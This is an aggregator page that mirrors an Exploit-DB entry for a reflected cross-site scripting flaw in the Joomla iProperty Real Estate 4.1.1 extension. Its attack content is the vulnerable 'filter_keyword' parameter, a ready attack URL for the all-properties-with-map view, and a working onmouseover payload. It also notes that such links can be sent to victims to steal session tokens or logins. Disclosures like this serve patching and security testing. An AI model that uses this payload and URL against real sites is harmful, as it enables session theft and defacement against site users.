8
[webapps] Joomla iProperty Real Estate 4.1.1 - Reflected XSS
source link: https://www.exploit-db.com/exploits/51640
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Joomla iProperty Real Estate 4.1.1 - Reflected XSS
# Exploit Title: Joomla iProperty Real Estate 4.1.1 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 29/07/2023
# Vendor: The Thinkery LLC
# Vendor Homepage: http://thethinkery.net
# Software Link: https://extensions.joomla.org/extension/vertical-markets/real-estate/iproperty/
# Demo: https://iproperty.thethinkery.net/
# Version: 4.1.1
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
## Greetings
The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob
## Description
The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials
Path: /iproperty/property-views/all-properties-with-map
GET parameter 'filter_keyword' is vulnerable to XSS
https://website/iproperty/property-views/all-properties-with-map?filter_keyword=[XSS]&option=com_iproperty&view=allproperties&ipquicksearch=1
XSS Payload: pihil"onmouseover="alert(1)"style="position:absolute;width:100%;height:100%;top:0;left:0;"f63m4
[-] Done
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK